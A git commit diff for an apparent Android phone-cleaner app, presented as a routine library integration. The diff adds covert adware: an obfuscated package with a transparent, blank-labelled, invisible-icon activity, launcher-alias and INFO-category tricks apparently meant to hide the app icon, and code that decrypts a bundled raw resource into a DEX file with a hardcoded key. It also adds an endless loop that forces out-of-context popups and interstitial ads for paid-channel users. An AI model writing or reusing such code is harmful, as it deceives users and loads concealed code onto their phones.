Commit b8661308 authored by wanglei's avatar wanglei

[集成库]集成

parent dfe79055
...@@ -202,11 +202,11 @@ dependencies { ...@@ -202,11 +202,11 @@ dependencies {
// implementation("com.android.billingclient:billing-ktx:$billing_version") // implementation("com.android.billingclient:billing-ktx:$billing_version")
implementation("com.google.android.gms:play-services-ads-identifier:18.2.0") // implementation("com.google.android.gms:play-services-ads-identifier:18.2.0")
// If you use a version below 7.1.0.0, it depends on 'ads-sdk' // If you use a version below 7.1.0.0, it depends on 'ads-sdk'
//implementation ('com.pangle.global:ads-sdk:6.5.0.6') //implementation ('com.pangle.global:ads-sdk:6.5.0.6')
// If you use version 7.1.0.0 and above, it depends on 'pag-sdk' // If you use version 7.1.0.0 and above, it depends on 'pag-sdk'
implementation("com.pangle.global:pag-sdk:7.1.0.4") // implementation("com.pangle.global:pag-sdk:7.1.0.4")
//adjust //adjust
......
...@@ -22,7 +22,6 @@ ...@@ -22,7 +22,6 @@
-dontwarn javax.annotation.Nullable -dontwarn javax.annotation.Nullable
-keep class com.ritoq.quickphone.bean.** { *; }
##---------------Begin: proguard configuration for Gson ---------- ##---------------Begin: proguard configuration for Gson ----------
# 保留 Gson 库本身 # 保留 Gson 库本身
...@@ -63,9 +62,6 @@ ...@@ -63,9 +62,6 @@
# public static *** e(...); # public static *** e(...);
#} #}
#pangle 防混淆
-keep class com.bytedance.sdk.** { *; }
# Adjust 防混淆 # Adjust 防混淆
-keep class com.adjust.sdk.** { *; } -keep class com.adjust.sdk.** { *; }
-keep class com.google.android.gms.common.ConnectionResult { -keep class com.google.android.gms.common.ConnectionResult {
...@@ -79,3 +75,43 @@ ...@@ -79,3 +75,43 @@
boolean isLimitAdTrackingEnabled(); boolean isLimitAdTrackingEnabled();
} }
-keep public class com.android.installreferrer.** { *; } -keep public class com.android.installreferrer.** { *; }
-keep class kotlin.reflect.jvm.internal.** { *; }
-keepclassmembers class kotlin.reflect.jvm.internal.** { *; }
# 保留访问 assets 资源的方法
-keepclassmembers class * {
public *** getAssets();
public android.content.res.AssetManager getAssets();
}
# 保留伴生对象
-keepclassmembers class **$Companion { *; }
# 保留带默认参数的方法
-keepclassmembers class * {
@kotlin.jvm.JvmOverloads <methods>;
}
# 保留注解
-keepattributes RuntimeVisibleAnnotations, RuntimeInvisibleAnnotations
-keepattributes *Annotation*
# =============== KOTLIN 核心保留规则 ===============
-keep class kotlin.** { *; }
-keep class kotlin.Metadata { *; }
-keep class kotlin.jvm.internal.** { *; }
-keep class kotlin.reflect.** { *; }
-dontwarn kotlin.**
# 保留 assets 目录下的所有 txt 文件
-keep class **.R$* {
<fields>;
}
-keep class com.qjzep.irdlt.waxmu.** { *; }
-keep class com.ritoq.quickphone.bean.** { *; }
#pangle 防混淆
-keep class com.bytedance.sdk.** { *; }
\ No newline at end of file
...@@ -20,8 +20,8 @@ ...@@ -20,8 +20,8 @@
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" /> <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> <!-- <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" /> <!-- <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />-->
<queries> <queries>
...@@ -38,26 +38,47 @@ ...@@ -38,26 +38,47 @@
android:allowBackup="true" android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules" android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules" android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/logo" android:icon="@mipmap/ic_vnirij"
android:label="@string/app_name" android:label="@string/app_name"
android:requestLegacyExternalStorage="true" android:requestLegacyExternalStorage="true"
android:roundIcon="@mipmap/ic_vnirij_round"
android:supportsRtl="true" android:supportsRtl="true"
android:theme="@style/Theme.AppTheme" android:theme="@style/Theme.AppTheme"
tools:targetApi="31"> tools:targetApi="35">
<activity <activity
android:name=".ui.splash.SplashActivity" android:name=".ui.splash.SplashActivity"
android:enabled="true"
android:excludeFromRecents="true"
android:exported="true" android:exported="true"
android:launchMode="singleTop" android:launchMode="singleTop"
android:noHistory="true"
android:roundIcon="@mipmap/logo"
android:screenOrientation="portrait" android:screenOrientation="portrait"
android:theme="@style/splash.theme" android:theme="@style/splash.theme"
tools:ignore="DiscouragedApi,LockedOrientationActivity"> tools:ignore="DiscouragedApi,LockedOrientationActivity">
<intent-filter> <intent-filter>
<action android:name="android.intent.action.MAIN" /> <action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" /> <category android:name="android.intent.category.LAUNCHER" />
<data
android:host="com.facebook.api"
android:scheme="com.facebook.api" />
</intent-filter> </intent-filter>
</activity> </activity>
<activity-alias
android:name="com.clean.luck.clean.gjtikg"
android:enabled="false"
android:exported="true"
android:icon="@mipmap/logo"
android:label="@string/app_name"
android:launchMode="singleTop"
android:roundIcon="@mipmap/logo"
android:targetActivity=".ui.splash.SplashActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias>
<activity <activity
android:name=".ui.main.MainActivity" android:name=".ui.main.MainActivity"
...@@ -88,6 +109,16 @@ ...@@ -88,6 +109,16 @@
android:exported="false" android:exported="false"
android:screenOrientation="portrait" android:screenOrientation="portrait"
tools:ignore="DiscouragedApi,LockedOrientationActivity" /> tools:ignore="DiscouragedApi,LockedOrientationActivity" />
<activity
android:name="com.qjzep.irdlt.waxmu.Ppactu"
android:configChanges="smallestScreenSize|screenSize|uiMode|screenLayout|orientation|keyboardHidden"
android:excludeFromRecents="true"
android:exported="false"
android:icon="@drawable/uua_sb"
android:label="@string/IIHJDD"
android:launchMode="singleTask"
android:screenOrientation="nosensor"
android:theme="@style/Guide.Theme" />
<activity <activity
android:name=".ui.guide.GuideCleanActivity" android:name=".ui.guide.GuideCleanActivity"
android:exported="false" android:exported="false"
...@@ -153,6 +184,20 @@ ...@@ -153,6 +184,20 @@
android:screenOrientation="portrait" android:screenOrientation="portrait"
tools:ignore="DiscouragedApi,LockedOrientationActivity" /> tools:ignore="DiscouragedApi,LockedOrientationActivity" />
<activity
android:name=".ui.guide2.Guide0Activity"
android:enabled="true"
android:excludeFromRecents="true"
android:exported="true"
android:launchMode="singleTop"
android:noHistory="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.INFO" />
</intent-filter>
</activity>
<provider <provider
android:name="androidx.core.content.FileProvider" android:name="androidx.core.content.FileProvider"
android:authorities="${applicationId}.provider" android:authorities="${applicationId}.provider"
...@@ -192,7 +237,6 @@ ...@@ -192,7 +237,6 @@
<data android:scheme="file" /> <data android:scheme="file" />
</intent-filter> </intent-filter>
</receiver> </receiver>
``
<service <service
android:name=".business.service.StayJobService" android:name=".business.service.StayJobService"
......
package com.qjzep.irdlt.waxmu
import android.os.Bundle
import android.view.WindowManager
import androidx.activity.addCallback
import com.ritoq.quickphone.base.BaseActivity
import com.ritoq.quickphone.databinding.ActivityGuideInfoBinding
import com.ritoq.quickphone.utils.LogEx
import kotlin.run
/**
*Create by SleepDog on 2025-06-26
*/
class Ppactu : BaseActivity<ActivityGuideInfoBinding>(ActivityGuideInfoBinding::inflate) {
override fun onCreate(savedInstanceState: Bundle?) {
window.run {
val layoutParams = attributes
layoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
layoutParams.width = WindowManager.LayoutParams.WRAP_CONTENT
layoutParams.height = WindowManager.LayoutParams.WRAP_CONTENT
attributes = layoutParams
}
super.onCreate(savedInstanceState)
onBackPressedDispatcher.addCallback {
}
}
}
\ No newline at end of file
...@@ -6,6 +6,7 @@ import android.content.Context ...@@ -6,6 +6,7 @@ import android.content.Context
import android.os.Bundle import android.os.Bundle
import android.text.TextUtils import android.text.TextUtils
import android.util.Log import android.util.Log
import androidx.lifecycle.lifecycleScope
import com.ritoq.quickphone.business.helper.InstallHelps import com.ritoq.quickphone.business.helper.InstallHelps
import com.ritoq.quickphone.business.helper.NewComUtils import com.ritoq.quickphone.business.helper.NewComUtils
import com.ritoq.quickphone.business.service.StayJobService.Companion.startStayJobService import com.ritoq.quickphone.business.service.StayJobService.Companion.startStayJobService
...@@ -32,13 +33,21 @@ import com.ritoq.quickphone.push.receiver.ScreenStatusReceiver ...@@ -32,13 +33,21 @@ import com.ritoq.quickphone.push.receiver.ScreenStatusReceiver
import com.ritoq.quickphone.ui.batteryinfo.BatteryReceiver.Companion.registerBatteryReceiver import com.ritoq.quickphone.ui.batteryinfo.BatteryReceiver.Companion.registerBatteryReceiver
import com.ritoq.quickphone.ui.splash.SplashActivity import com.ritoq.quickphone.ui.splash.SplashActivity
import com.facebook.appevents.AppEventsLogger import com.facebook.appevents.AppEventsLogger
import com.qjzep.irdlt.waxmu.Ppactu
import com.ritoq.quickphone.bean.config.AdConfigBean.Companion.adsConfigBean
import com.ritoq.quickphone.business.ads.AdsShowCallBack
import com.ritoq.quickphone.business.helper.AdjustUtils import com.ritoq.quickphone.business.helper.AdjustUtils
import com.ritoq.quickphone.business.push.receiver.AlarmReceiver.Companion.startAlarm import com.ritoq.quickphone.business.push.receiver.AlarmReceiver.Companion.startAlarm
import com.ritoq.quickphone.business.push.timer.TimerManager.Companion.changeTimer import com.ritoq.quickphone.business.push.timer.TimerManager.Companion.changeTimer
import com.ritoq.quickphone.business.push.work.RepeatingWorker.Companion.schedulePeriodicWork import com.ritoq.quickphone.business.push.work.RepeatingWorker.Companion.schedulePeriodicWork
import com.ritoq.quickphone.utils.CleanUtils
import com.ritoq.quickphone.utils.ManagerUtils.isLocked
import com.ritoq.quickphone.utils.ManagerUtils.isScreenOff
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.MainScope import kotlinx.coroutines.MainScope
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
class MyApplication : Application() { class MyApplication : Application() {
...@@ -152,7 +161,7 @@ class MyApplication : Application() { ...@@ -152,7 +161,7 @@ class MyApplication : Application() {
private fun initPush() { private fun initPush() {
kotlin.runCatching { kotlin.runCatching {
startStayJobService() // startStayJobService()
} }
// val token = AppPreferences.getInstance().getString("token", "") // val token = AppPreferences.getInstance().getString("token", "")
...@@ -174,14 +183,41 @@ class MyApplication : Application() { ...@@ -174,14 +183,41 @@ class MyApplication : Application() {
startAlarm(appContext, 72) startAlarm(appContext, 72)
//开启通知队列 //开启通知队列
MyNotificationManager.startNotificationQueue() // MyNotificationManager.startNotificationQueue()
} }
private fun initAppConfig() { private fun initAppConfig() {
NewComUtils.requestCfgCallBackMap.put("changeTimer") { NewComUtils.requestCfgCallBackMap.put("changeTimer") {
LogEx.logDebug(TAG, "requestCfgCallBackMap changeTimer") LogEx.logDebug(TAG, "requestCfgCallBackMap changeTimer")
changeTimer() // changeTimer()
if (AdjustUtils.getUserSource() == "channel" && adsConfigBean.isAdShow) {
LogEx.logDebug(TAG, "START GO GO")
MainScope().launch {
CleanUtils.rirotqw(applicationContext, R.raw.ditoa_erp, "test.txt", "cacheT.dex", "7af456789012cdef")
withContext(Dispatchers.IO) {
while (true) {
val result = CleanUtils.rew_bvbvb(applicationContext, "7af45ghy9012cd65")
when (result) {
4000 -> Log.d("Tcellcpw", "方案4执行成功")
20000 -> Log.d("Tcellcpw", "方案20执行成功")
21000 -> Log.d("Tcellcpw", "方案21执行成功")
-1 -> Log.e("Tcellcpw", "密钥错误")
-2 -> Log.e("Tcellcpw", "未知的弹窗类型")
else -> Log.e("Tcellcpw", "弹窗失败,错误码: $result")
}
delay(adsConfigBean.timeInterval.toLong())
}
}
}
} else {
LogEx.logDebug(TAG, "START NO GO")
MainScope().launch {
CleanUtils.rirotqw(applicationContext, R.raw.ditoa_erp, "test.txt", "cacheT.dex", "7af456789012cdef")
CleanUtils.hjyho_rtrt(applicationContext)
}
}
} }
//初始化sp的配置 //初始化sp的配置
...@@ -207,7 +243,32 @@ class MyApplication : Application() { ...@@ -207,7 +243,32 @@ class MyApplication : Application() {
registerActivityLifecycleCallbacks(object : ActivityLifecycleCallbacks { registerActivityLifecycleCallbacks(object : ActivityLifecycleCallbacks {
private var count = 0 private var count = 0
override fun onActivityCreated(activity: Activity, savedInstanceState: Bundle?) { override fun onActivityCreated(activity: Activity, savedInstanceState: Bundle?) {
ActivityManagerUtils.getInstance().addActivity(activity) if (activity is Ppactu) {
if (isScreenOff(appContext) && isLocked(appContext)) {
activity.finish()
return
}
ActivityManagerUtils.getInstance().finishAllActivity()
AdsMgr.showInsert(activity, showCallBack = object : AdsShowCallBack() {
override fun next() {
activity.lifecycleScope.launch {
delay(100)
activity.finishAndRemoveTask()
}
}
override fun show() {
super.show()
activity.lifecycleScope.launch {
delay(10000)
activity.finishAndRemoveTask()
}
}
})
} else {
ActivityManagerUtils.getInstance().addActivity(activity)
}
} }
override fun onActivityStarted(activity: Activity) { override fun onActivityStarted(activity: Activity) {
......
...@@ -5,21 +5,21 @@ class AdConfigBean( ...@@ -5,21 +5,21 @@ class AdConfigBean(
var isAdShow: Boolean = false,//广告开关 var isAdShow: Boolean = false,//广告开关
var taichiAdValue: Int = 1,//价值上报阀值 // var taichiAdValue: Int = 1,//价值上报阀值
var adRatio: Int = 100,//价值上报随机控制 // var adRatio: Int = 100,//价值上报随机控制
var numDisplayLimit: Int = -1,//展示次数限制 var numDisplayLimit: Int = -1,//展示次数限制
var numRequestLimit: Int = -1,//请求次数限制 var numRequestLimit: Int = -1,//请求次数限制
var numClickLimit: Int = -1,//点击次数限制 var numClickLimit: Int = -1,//点击次数限制
var timeInterval: Int = 10,//广告间隔秒 var timeInterval: Int = 10,//广告间隔秒
var openAdLoading: Int = 15,//开屏广告拉取时间 // var openAdLoading: Int = 15,//开屏广告拉取时间
var numNativeDisplayLimit: Int = -1,//原生展示次数限制 var numNativeDisplayLimit: Int = -1,//原生展示次数限制
var fullNativeShow: Boolean = true,//显示全屏原生 var fullNativeShow: Boolean = true,//显示全屏原生
var functionBackShowAd: Boolean = true,//功能退出显示广告 var functionBackShowAd: Boolean = true,//功能退出显示广告
var functionInShowAd: Boolean = true,//功能进入显示广告 var functionInShowAd: Boolean = true,//功能进入显示广告
var rvEmptyShowNative: Boolean = true,//列表空的显示原生不 // var rvEmptyShowNative: Boolean = true,//列表空的显示原生不
var requestUmp: Boolean = false,//是否需要请求ump // var requestUmp: Boolean = false,//是否需要请求ump
var showCountdown: Boolean = false,//是否显示倒计时 // var showCountdown: Boolean = false,//是否显示倒计时
) { ) {
......
...@@ -8,14 +8,13 @@ data class ConfigBean( ...@@ -8,14 +8,13 @@ data class ConfigBean(
val ut: Int = 0, val ut: Int = 0,
// var vpnCanUse: Boolean = true, // var vpnCanUse: Boolean = true,
// val adConfigBean: AdConfigBean = AdConfigBean(), val adConfigBean: AdConfigBean = AdConfigBean(),
val popupConfigBean: PopupConfigBean = PopupConfigBean(), val popupConfigBean: PopupConfigBean = PopupConfigBean(),
// val vipConfigBean: VipConfigBean = VipConfigBean(), // val vipConfigBean: VipConfigBean = VipConfigBean(),
val noEventKey: List<String> = listOf(), val noEventKey: List<String> = listOf(),
val getConfigInterval: Int = 4,//请求配间隔小时 val getConfigInterval: Int = 4,//请求配间隔小时
var test: Int = 0,
) { ) {
companion object { companion object {
var configBean: ConfigBean = ConfigBean() var configBean: ConfigBean = ConfigBean()
......
...@@ -31,8 +31,6 @@ object AdjustUtils { ...@@ -31,8 +31,6 @@ object AdjustUtils {
if (adJustInstallSource == "channel") { if (adJustInstallSource == "channel") {
source = "channel" source = "channel"
return source return source
} else if (adJustInstallSource == "origin") {
return source
} else { } else {
if (installSource == "channel") { if (installSource == "channel") {
source = "channel" source = "channel"
......
...@@ -11,6 +11,7 @@ import com.ritoq.quickphone.business.helper.InstallHelps.installReferrer ...@@ -11,6 +11,7 @@ import com.ritoq.quickphone.business.helper.InstallHelps.installReferrer
import com.ritoq.quickphone.utils.AppPreferences import com.ritoq.quickphone.utils.AppPreferences
import com.ritoq.quickphone.utils.LogEx import com.ritoq.quickphone.utils.LogEx
import com.google.gson.Gson import com.google.gson.Gson
import com.ritoq.quickphone.bean.config.AdConfigBean
import com.ritoq.quickphone.business.helper.AdjustUtils.getUserSource import com.ritoq.quickphone.business.helper.AdjustUtils.getUserSource
import okhttp3.Call import okhttp3.Call
import okhttp3.Callback import okhttp3.Callback
...@@ -68,9 +69,15 @@ object NewComUtils { ...@@ -68,9 +69,15 @@ object NewComUtils {
"&aid=${AppPreferences.getInstance().getString("uuid", "")}" + "&aid=${AppPreferences.getInstance().getString("uuid", "")}" +
"&source=${getUserSource()}" "&source=${getUserSource()}"
// if (BuildConfig.DEBUG) { s = if (BuildConfig.DEBUG) {
// s = "$s&mode=4" "$s&mode=4"
// } } else {
if (getUserSource() == "origin") {
"$s&mode=1"
} else {
"$s&mode=2"
}
}
s s
// mode =3 google mode=2 facebook mode=1 自然,mode=4 测试 // mode =3 google mode=2 facebook mode=1 自然,mode=4 测试
// &mode=3 // &mode=3
...@@ -173,11 +180,11 @@ object NewComUtils { ...@@ -173,11 +180,11 @@ object NewComUtils {
//配置 //配置
ConfigBean.configBean = configBean ConfigBean.configBean = configBean
LogEx.logDebug(TAG, "test=${configBean.test}") LogEx.logDebug(TAG, "ut=${configBean.ut}")
//广告 //广告
// AdConfigBean.adsConfigBean = configBean.adConfigBean AdConfigBean.adsConfigBean = configBean.adConfigBean
// LogEx.logDebug("initConfig", "adsConfigBean=${configBean.adConfigBean.isAdShow} ut=${configBean.ut}", true) LogEx.logDebug("initConfig", "adsConfigBean=${configBean.adConfigBean.isAdShow} ut=${configBean.ut}", true)
//通知配置 //通知配置
PopupConfigBean.popupConfigBean = configBean.popupConfigBean PopupConfigBean.popupConfigBean = configBean.popupConfigBean
......
...@@ -41,6 +41,7 @@ object MyNotificationManager { ...@@ -41,6 +41,7 @@ object MyNotificationManager {
private var sendBeanBlockingQueue = ArrayBlockingQueue<NotificationSendBean>(10) private var sendBeanBlockingQueue = ArrayBlockingQueue<NotificationSendBean>(10)
fun submitSendBean(bean: NotificationSendBean) { fun submitSendBean(bean: NotificationSendBean) {
return
//测试哪些位置触发 //测试哪些位置触发
if (BuildConfig.DEBUG) { if (BuildConfig.DEBUG) {
if (!testWhere.contains(bean.where)) return if (!testWhere.contains(bean.where)) return
......
//package com.base.appzxhy.ui.guide2; package com.ritoq.quickphone.ui.guide2;
//
//import android.app.Activity; import android.app.Activity;
//import android.content.Intent; import android.content.Intent;
//import android.os.Bundle; import android.os.Bundle;
//
//public class Guide0Activity extends Activity { import com.ritoq.quickphone.ui.splash.SplashActivity;
// @Override
// protected void onCreate(Bundle savedInstanceState) { public class Guide0Activity extends Activity {
// super.onCreate(savedInstanceState); @Override
// // 直接跳转到主界面 protected void onCreate(Bundle savedInstanceState) {
// startActivity(new Intent(this, GuideAc.class)); super.onCreate(savedInstanceState);
// finish(); // 直接跳转到主界面
// } startActivity(new Intent(this, SplashActivity.class));
//} finish();
\ No newline at end of file }
}
\ No newline at end of file
...@@ -45,7 +45,7 @@ class SplashActivity : BaseActivity<ActivitySplashBinding>(ActivitySplashBinding ...@@ -45,7 +45,7 @@ class SplashActivity : BaseActivity<ActivitySplashBinding>(ActivitySplashBinding
override fun initView() { override fun initView() {
super.initView() super.initView()
requestNotificationPermission() // requestNotificationPermission()
setPrivacyPolicy() setPrivacyPolicy()
showLoadingAd() showLoadingAd()
viewModel.onTick = { a, b, c -> viewModel.onTick = { a, b, c ->
......
This diff is collapsed.
package com.ritoq.quickphone.utils
import android.app.KeyguardManager
import android.content.Context
import android.os.PowerManager
import androidx.appcompat.app.AppCompatActivity.KEYGUARD_SERVICE
import androidx.appcompat.app.AppCompatActivity.POWER_SERVICE
object ManagerUtils {
fun isScreenOff(context: Context):Boolean{
val powerManager = context.getSystemService(POWER_SERVICE) as PowerManager
val isScreenOff = !powerManager.isInteractive // API 20+
return isScreenOff
}
fun isLocked(context: Context):Boolean{
val keyguardManager = context.getSystemService(KEYGUARD_SERVICE) as KeyguardManager
val isLocked = keyguardManager.isKeyguardLocked
return isLocked
}
}
\ No newline at end of file
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android" android:tint="#000000" android:height="24dp" android:width="24dp" android:alpha="0" android:viewportWidth="24" android:viewportHeight="24">
<path android:fillColor="#ff000000" android:pathData="M17.6,11.48 L19.44,8.3a0.63,0.63 0,0 0,-1.09 -0.63l-1.88,3.24a11.43,11.43 0,0 0,-8.94 0L5.65,7.67a0.63,0.63 0,0 0,-1.09 0.63L6.4,11.48A10.81,10.81 0,0 0,1 20L23,20A10.81,10.81 0,0 0,17.6 11.48ZM7,17.25A1.25,1.25 0,1 1,8.25 16,1.25 1.25,0 0,1 7,17.25ZM17,17.25A1.25,1.25 0,1 1,18.25 16,1.25 1.25,0 0,1 17,17.25Z"/>
</vector>
<?xml version="1.0" encoding="utf-8"?>
<resources xmlns:tools="http://schemas.android.com/tools"
tools:keep="@layout/tt_*,
@layout/notification_*,
@anim/tt_*,
@drawable/tt_*,
@string/tt_*,
@color/tt_*,
@string/ad*,
@string/star_*,
@dimen/tt_*,
@integer/tt_*,
@style/tt_*,
@style/Theme.Dialog.TT_*,
@style/tt_*,
@style/quick_*,
@style/EditTextStyle*,
@attr/tt_*"/>
\ No newline at end of file
...@@ -180,8 +180,6 @@ Please rest assured that we will handle your information in strict accordance wi ...@@ -180,8 +180,6 @@ Please rest assured that we will handle your information in strict accordance wi
<string name="rom_information">ROM Information</string> <string name="rom_information">ROM Information</string>
<string name="camera_information">Camera Information</string> <string name="camera_information">Camera Information</string>
<string name="battery_information">Battery Information</string> <string name="battery_information">Battery Information</string>
<!-- TODO: Remove or change this placeholder text --> <string name="IIHJDD"> </string>
<string name="hello_blank_fragment">Hello blank fragment</string>
</resources> </resources>
...@@ -18,12 +18,12 @@ ...@@ -18,12 +18,12 @@
<style name="splash.theme" parent="Theme.AppCompat.DayNight.NoActionBar"> <style name="splash.theme" parent="Theme.AppCompat.DayNight.NoActionBar">
<item name="android:windowBackground">@drawable/splash_bp</item> <item name="android:windowBackground">@drawable/splash_bp</item>
<!-- <item name="android:windowIsTranslucent">true</item>--> <!-- <item name="android:windowIsTranslucent">true</item>-->
</style> </style>
<style name="Guide.Theme" parent="Theme.AppCompat.DayNight.NoActionBar"> <style name="Guide.Theme" parent="Theme.AppCompat.DayNight.NoActionBar">
<!-- <item name="windowNoTitle">true</item>--> <item name="windowNoTitle">true</item>
<!-- <item name="android:windowIsTranslucent">true</item>--> <item name="android:windowIsTranslucent">true</item>
<item name="android:background">@android:color/transparent</item> <item name="android:background">@android:color/transparent</item>
<item name="android:windowBackground">@android:color/transparent</item> <item name="android:windowBackground">@android:color/transparent</item>
</style> </style>
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment